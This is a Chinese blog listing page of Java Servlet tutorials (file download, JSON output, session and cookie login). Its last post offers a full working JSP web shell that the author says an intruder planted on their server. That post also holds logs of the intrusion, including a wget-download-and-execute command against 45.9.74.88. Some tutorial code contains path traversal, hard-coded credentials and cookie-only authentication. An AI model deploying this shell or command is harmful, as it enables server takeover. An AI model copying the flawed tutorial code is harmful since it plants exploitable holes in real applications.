首页
关于
留言
统计
友链
壁纸
影视
留言找电影
Search
1
java jdk17版本使用cglib报错问题解决
321 阅读
2
在Java中修复json数据,json格式不正确,如何在Java中修复不正确的json
118 阅读
3
Java实现双链表插入排序~渡星河全网首发
107 阅读
4
Java打印某年某月的日历~不调用函数
76 阅读
5
npm nvm 淘宝镜像最新可用
73 阅读
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
登录
/
注册
Search
标签搜索
java
java作业
恋爱
动漫
3A大作
独行月球
电影分享
总之就是非常可爱
JavaScript
office
破解
mysql
vue
java打包
跨域
tomcat解决乱码
bug解决
tomcat
vscode
渡星河
累计撰写
94
篇文章
累计收到
30
条评论
首页
栏目
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
页面
关于
留言
统计
友链
壁纸
影视
留言找电影
搜索到
93
篇与
的结果
2023-02-16
JavaServlet实现文件下载
在 Java Servlet 中实现文件下载的步骤如下:获取要下载的文件,可以是本地文件或者从数据库中获取的文件。设置响应头信息,包括 Content-Disposition、Content-Type 和 Content-Length 等。将文件内容输出到客户端浏览器中。{dotted startColor="#ff6c6c" endColor="#1989fa"/}下面是一个示例代码,其中通过 URL 参数来传递要下载的文件名,文件名可以从数据库或者文件系统中获取,本示例假设文件名为 sample.txt。@WebServlet("/download") public class DownloadServlet extends HttpServlet { private static final String FILE_DIRECTORY = "/path/to/file/directory"; private static final int BUFFER_SIZE = 4096; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取要下载的文件名 String fileName = request.getParameter("file"); String filePath = FILE_DIRECTORY + File.separator + fileName; // 获取要下载的文件对象 File file = new File(filePath); // 设置响应头信息 response.setContentType("application/octet-stream"); response.setContentLength((int) file.length()); response.setHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\""); // 输出文件内容到客户端浏览器 InputStream inputStream = new FileInputStream(file); OutputStream outputStream = response.getOutputStream(); byte[] buffer = new byte[BUFFER_SIZE]; int bytesRead = -1; while ((bytesRead = inputStream.read(buffer)) != -1) { outputStream.write(buffer, 0, bytesRead); } inputStream.close(); outputStream.close(); } } 代码解释上面的代码中,我们首先获取要下载的文件名,并根据文件名构建要下载的文件对象。然后,我们设置响应头信息,包括 Content-Type、Content-Length 和 Content-Disposition 等。其中,Content-Disposition 设置为 "attachment" 表示告诉浏览器以附件形式下载文件,而不是在浏览器中直接打开文件。最后,我们将文件内容输出到客户端浏览器中。我们首先通过 FileInputStream 打开文件输入流,然后通过 response.getOutputStream() 获取输出流。接着,我们定义一个字节数组作为缓冲区,每次从文件输入流中读取 BUFFER_SIZE 个字节并写入输出流中。当文件输入流读取完毕后,我们关闭输入流和输出流,完成文件下载。
2023年02月16日
11 阅读
0 评论
0 点赞
2023-02-16
Java Servlet实现输出json
实现效果{ "status": 1, "msg": "登录成功", "data": { "userAccount": 10001, "nickname": "admin", "motto": "心中无女人代码自然神", "userqq": "10001", "power": 1 } } 实现方法在 Java Servlet 中实现输出 JSON 格式的数据可以使用 JSON 序列化框架,如 Jackson、Gson 等。下面以 Jackson 为例,介绍一下如何实现在 Java Servlet 中输出一个 JSON 格式的数据。首先,在 pom.xml 中添加 Jackson 序列化库的依赖:<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>${jackson.version}</version> </dependency> 然后,我们可以在 Java Servlet 中定义一个包含需要输出的数据的 Java 类,如下所示:public class User { private int userAccount; private String nickname; private String motto; private String userqq; private int power; // 省略构造方法、getter 和 setter } 接下来,在登录成功后,我们可以创建一个 User 对象,并将需要输出的数据填充进去:User user = new User(); user.setUserAccount(10001); user.setNickname("admin"); user.setMotto("心中无女人代码自然神"); user.setUserqq("10001"); user.setPower(1);最后,我们使用 Jackson 将 User 对象序列化成 JSON 格式的字符串,并输出到客户端:ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); response.setContentType("application/json"); response.setCharacterEncoding("UTF-8"); response.getWriter().write(json); 上面的代码中,我们首先创建了一个 ObjectMapper 对象,它是 Jackson 序列化库中的核心类,用于将 Java 对象序列化成 JSON 格式的字符串。然后,我们调用 ObjectMapper 对象的 writeValueAsString() 方法将 User 对象序列化成 JSON 格式的字符串。最后,我们设置响应头的 Content-Type 为 application/json,告诉客户端返回的是 JSON 格式的数据,并将 JSON 字符串写入响应的输出流中。整个代码示例如下所示:@WebServlet("/login") public class LoginServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); if ("admin".equals(username) && "password".equals(password)) { HttpSession session = request.getSession(); session.setAttribute("loggedIn", true); session.setAttribute("username", username); User user = new User(); user.setUserAccount(10001); user.setNickname("admin"); user.setMotto("心中无女人代码自然神"); user.setUserqq("10001"); user.setPower(1); ObjectMapper mapper = new ObjectMapper(); String json = mapper.writeValueAsString(user); response.setContentType("application/json"); response.setCharacterEncoding("UTF-8"); response.getWriter().write(json); } else { response.sendRedirect("login.jsp"); } } }
2023年02月16日
10 阅读
0 评论
0 点赞
2023-02-16
javaServlet实现cookie加session登录
实现思路{card-describe title="思路"} Java Servlet 中也可以使用 Cookie 和 Session 结合的方式实现登录功能。具体实现方式是,在用户成功登录时,为用户创建一个包含用户信息的 Cookie,并将该 Cookie 的值存储在 Session 中,然后在用户的后续请求中,从 Cookie 中读取用户信息,并通过 Session 进行验证。 {/card-describe}以下是一个使用 Cookie 和 Session 结合实现登录的 Java Servlet 代码示例:@WebServlet("/login") public class LoginServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); if ("admin".equals(username) && "password".equals(password)) { HttpSession session = request.getSession(); session.setAttribute("loggedIn", true); session.setAttribute("username", username); // 创建 Cookie Cookie cookie = new Cookie("user", username); cookie.setMaxAge(3600); response.addCookie(cookie); response.sendRedirect("welcome.jsp"); } else { response.sendRedirect("login.jsp"); } } } {card-describe title="代码解释"} 在上面的代码中,我们首先获取用户提交的用户名和密码,然后判断是否正确。如果正确,我们就创建一个 HttpSession 对象,并将登录状态和用户名存储在其中。然后,我们创建一个名为 "user" 的 Cookie,并将用户名作为其值,将 Cookie 的过期时间设置为 3600 秒。最后,我们将用户重定向到一个欢迎页面。如果用户名和密码不正确,我们将用户重定向回登录页面。 {/card-describe}在欢迎页面或其他需要登录的页面中,我们可以使用如下代码来检查用户是否已经登录:HttpSession session = request.getSession(); Cookie[] cookies = request.getCookies(); if (session.getAttribute("loggedIn") != null && (Boolean) session.getAttribute("loggedIn")) { // 用户已经登录 String username = (String) session.getAttribute("username"); // ... } else if (cookies != null) { // 从 Cookie 中读取用户名 for (Cookie cookie : cookies) { if (cookie.getName().equals("user")) { String username = cookie.getValue(); // 将用户名存储在 Session 中,用于验证登录状态 session.setAttribute("loggedIn", true); session.setAttribute("username", username); break; } } } if (session.getAttribute("loggedIn") != null && (Boolean) session.getAttribute("loggedIn")) { // 用户已经登录 String username = (String) session.getAttribute("username"); // ... } else { // 用户未登录,重定向到登录页面 response.sendRedirect("login.jsp"); } {card-describe title="解释"} 在上面的代码中,我们首先获取 HttpSession 对象,然后检查其中是否包含一个名为 "loggedIn" 的属性,并且其值为 true。如果是,我们就可以确定用户已经登录,然后可以获取用户名等信息进行处理。如果没有登录,则从请求中获取 Cookie,并从中读取用户名,然后将用户名存储在 Session 中,用于验证登录状态。最后,我们再次检查 Session 中的 "loggedIn" 属性,如果用户已经登录,就进行相应的处理,否则将用户重定向回登录页面。 {/card-describe}在使用 Cookie 和 Session 时,应该注意避免一些安全漏洞
2023年02月16日
8 阅读
0 评论
0 点赞
2023-02-16
JavaServlet实现Session登录
简单介绍{card-describe title="Java Servlet"} Java Servlet 是一种 Java 语言编写的 Web 应用程序组件,可以接收客户端请求并生成响应。在 Java Servlet 中,可以使用 Session 实现登录功能。 {/card-describe}{card-describe title="Session"}Session 是一种 Web 应用程序中用于在客户端和服务器之间维护状态的机制。Session 用于在客户端和服务器之间存储数据,以便在同一个用户的多个请求之间共享信息。在登录功能中,可以使用 Session 存储用户的登录状态和登录信息,以便在用户的后续请求中进行验证。{/card-describe}以下是一个使用 Session 实现登录的 Java Servlet 代码示例:@WebServlet("/login") public class LoginServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); if ("admin".equals(username) && "password".equals(password)) { HttpSession session = request.getSession(); session.setAttribute("loggedIn", true); session.setAttribute("username", username); response.sendRedirect("welcome.jsp"); } else { response.sendRedirect("login.jsp"); } } }{card-describe title="代码解释"} 在上面的代码中,我们首先获取用户提交的用户名和密码,然后判断是否正确。如果正确,我们就创建一个 HttpSession 对象,并将登录状态和用户名存储在其中。最后,我们将用户重定向到一个欢迎页面。如果用户名和密码不正确,我们将用户重定向回登录页面。 {/card-describe}在欢迎页面或其他需要登录的页面中,我们可以使用如下代码来检查用户是否已经登录:Copy code HttpSession session = request.getSession(); if (session.getAttribute("loggedIn") != null && (Boolean) session.getAttribute("loggedIn")) { // 用户已经登录 String username = (String) session.getAttribute("username"); // ... } else { // 用户未登录,重定向到登录页面 response.sendRedirect("login.jsp"); }{card-describe title="代码解释"} 在上面的代码中,我们首先获取 HttpSession 对象,然后检查其中是否包含一个名为 "loggedIn" 的属性,并且其值为 true。如果是,我们就可以确定用户已经登录,然后可以获取用户名等信息进行处理。如果没有登录,我们就将用户重定向回登录页面。 {/card-describe}{message type="success" content="需要注意的是,在使用 Session 时,应该注意避免一些安全漏洞,如会话固定攻击、会话劫持等。因此,在实际的应用程序中,需要对 Session 进行安全设置,以确保应用程序的安全性。"/}
2023年02月16日
9 阅读
0 评论
1 点赞
2023-02-14
jsp后门怎么写的,服务器后门,服务器被入侵
jsp后门代码如何实现今天我给大家弄来了一个后门的代码实现一定会有人问我怎么学会的{card-describe title="怎么学会的?"}这个问题问得好,因为我服务器被入侵了,那傻叉黑客还没来得及删后门被我发现了,现在我就把代码拿出来{/card-describe}代码解释这段代码是一个简单的Web界面,其中包含一个文本输入框和一个提交按钮。当用户在输入框中输入命令并单击提交按钮时,将运行该命令并显示命令的输出结果。代码利用Java的Runtime类的exec()方法,可以在操作系统上执行一个命令。此外,代码还检查操作系统类型,并选择适当的命令执行方式。其中,“pwd”命令用于获取当前运行目录,而其他命令将以用户输入的形式执行。需要注意的是,这段代码可能存在安全风险,因为用户可以输入任何他们想要执行的命令。代码展示<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { if (request.getParameter("cmd").equals("pwd")) { out.println(System.getProperty("catalina.base")); } else { StringBuffer output = new StringBuffer(); Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else { File dir = new File(System.getProperty("catalina.base")); p = Runtime.getRuntime().exec(request.getParameter("cmd"), null, dir); } String line = ""; BufferedReader reader = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((line = reader.readLine()) != null) { output.append(line + "\n"); } reader.close(); reader = new BufferedReader(new InputStreamReader(p.getInputStream())); while ((line = reader.readLine()) != null) { output.append(line + "\n"); } out.println(output.toString()); } } %> </pre> </BODY></HTML> 被入侵后做了什么呢这是服务器日志{card-default label="服务器日志" width="100%"}104.244.76.38 - - [14/Feb/2023 :21:41:42 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 400 795162.243.134.22 - - [14/Feb/2023 :22:12:44 +0800] "GET /manager/html HTTP/1.1" 401 2562207.138.37.69 - - [14/Feb/2023 :22:16:47 +0800] "GET / HTTP/1.1" 200 11428207.138.37.69 - - [14/Feb/2023 :22:16:51 +0800] "GET /tomcatwar.jsp?pwd=j&cmd=wget%20http%3A%2F%2F45.9.74.88%2Fbins%2Fx86%20-O%20%2Ftmp%2F.th%3B%20chmod%20777%20%2Ftmp%2F.th%3B%20%2Ftmp%2F.th%20selfrep.spring4 HTTP/1.1" 404 7438.219.71.118 - - [14/Feb/2023 :22:17:50 +0800] "-" 400 19498.219.71.118 - - [14/Feb/2023 :22:18:01 +0800] "-" 400 19798.219.71.118 - - [14/Feb/2023 :22:18:23 +0800] "GET / HTTP/1.1" 400 762104.244.76.38 - - [14/Feb/2023 :22:25:02 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 400 795192.241.223.20 - - [14/Feb/2023 :22:33:18 +0800] "-" 400 2869165.227.0.21 - - [14/Feb/2023 :22:42:00 +0800] "GET / HTTP/1.0" 200 11408165.227.0.21 - - [14/Feb/2023 :22:42:01 +0800] "GET /manager/html HTTP/1.1" 401 2562165.227.0.21 - tomcat [14/Feb/2023 :22:42:03 +0800] "GET /manager/html HTTP/1.1" 200 19838165.227.0.21 - tomcat [14/Feb/2023 :22:42:03 +0800] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=B5C12AD580142286E2DD1293E6C6E17E HTTP/1.1" 200 20059165.227.0.21 - - [14/Feb/2023 :22:42:04 +0800] "GET /mo2pj/?cmd=pwd HTTP/1.1" 200 202165.227.0.21 - - [14/Feb/2023 :22:42:08 +0800] "GET /mo2pj/?cmd=uname+-m HTTP/1.1" 200 171165.227.0.21 - - [14/Feb/2023 :22:42:09 +0800] "GET /mo2pj/?cmd=uname+-r HTTP/1.1" 200 192165.227.0.21 - - [14/Feb/2023 :22:42:09 +0800] "GET /mo2pj/?cmd=uname+-s HTTP/1.1" 200 170165.227.0.21 - - [14/Feb/2023 :22:42:12 +0800] "GET /mo2pj/?cmd=whoami HTTP/1.1" 200 169165.227.0.21 - - [14/Feb/2023 :22:42:14 +0800] "GET /mo2pj/?cmd=ls+.good HTTP/1.1" 200 2151.204.68.10 - - [14/Feb/2023 :22:45:14 +0800] "GET / HTTP/1.1" 200 11428{/card-default}说实话,我这个服务器也没什么,别人是怎么发现的呢,我真的百思不得其解。难道是我挂的t子被监听了?最后入侵我服务器的我谢谢你让我学会了如何写后门
2023年02月14日
23 阅读
0 评论
2 点赞
1
...
11
12
13
...
19